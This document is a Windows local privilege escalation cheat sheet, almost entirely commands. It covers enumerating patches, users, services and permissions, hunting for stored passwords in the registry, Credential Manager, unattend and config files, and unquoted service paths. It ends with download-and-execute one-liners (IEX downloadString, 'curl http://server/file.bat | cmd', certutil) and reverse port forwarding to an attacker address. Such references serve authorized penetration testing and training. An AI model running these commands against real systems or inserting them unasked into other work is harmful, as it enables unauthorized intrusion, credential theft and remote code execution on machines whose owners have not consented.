Local Windows Privilege Escalation


Get architecture & patches

wmic qfe

Get Environment Variables

Get-ChildItem Env: | ft Key,Value

Get Connected Drives

net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root


Any interesting user privileges? Note: The State column does not mean that the user does or does not have access to this privilege. If the privilege is listed, then that user has it.

whoami /priv

What users are on the system? Any old user profiles that weren’t cleaned up?

net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

Is anyone else logged in?


What local groups are on the system?

net localgroup
Get-LocalGroup | ft Name

Check Admnistrators Group users

net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Anything in the Registry for User Autologon?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Anything interesting in Credential Manager?

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Can we access SAM and SYSTEM files?


Programs, Processes, and Services

What software is installed?

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Full Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 

Modify Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} 

You can also upload accesschk from Sysinternals to check for writeable folders and files. https://live.sysinternals.com/

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it?

tasklist /svc
tasklist /v
net start
sc query

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

Are there any unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

What scheduled tasks are there? Anything custom implemented?

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

What is ran at startup?

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated


What NICs are connected? Are there multiple networks?

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Anything in the ARP cache?

arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Are there connections to other hosts?

netstat -ano

Anything in the hosts file?


Is the firewall turned on? If so what’s configured?

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

Any other interesting interface configurations?

netsh dump

Are there any SNMP configurations?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Interesting Files and Sensitive Information

Any passwords in the registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s 

Are there sysprep or unattend files available that weren’t cleaned up?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?

dir /a C:\inetpub\
dir /s web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

What’s in the IIS Logs?


Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Any Apache web logs?

dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?

dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

Files containing password inside them?

findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"


Transferring Files

PowerShell Cmdlet

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

PowerShell One-Liner

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")

PowerShell One-Line Script Execution in Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

PowerShell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;

PowerShell Script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Non-interactive FTP via text file. Useful for when you only have limited command execution.

echo open 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt


certutil.exe -urlcache -split -f https://myserver/filename outputfilename

Certutil can also be used for base64 encoding/decoding.

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName


curl http://server/file -o file
curl http://server/file.bat | cmd

And with PowerShell

IEX(curl http://server/script.ps1);Invoke-Blah

Port Forwarding

For example to expose SMB, on the target run:

plink.exe -l root -pw password -R 445: YOURIPADDRESS

SSH enabled in Win10 1803 by default

ssh -l root -pw password -R 445: YOURIPADDRESS

Port Forwarding


  • https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

  • https://live.sysinternals.com/

  • https://github.com/absolomb/WindowsEnum

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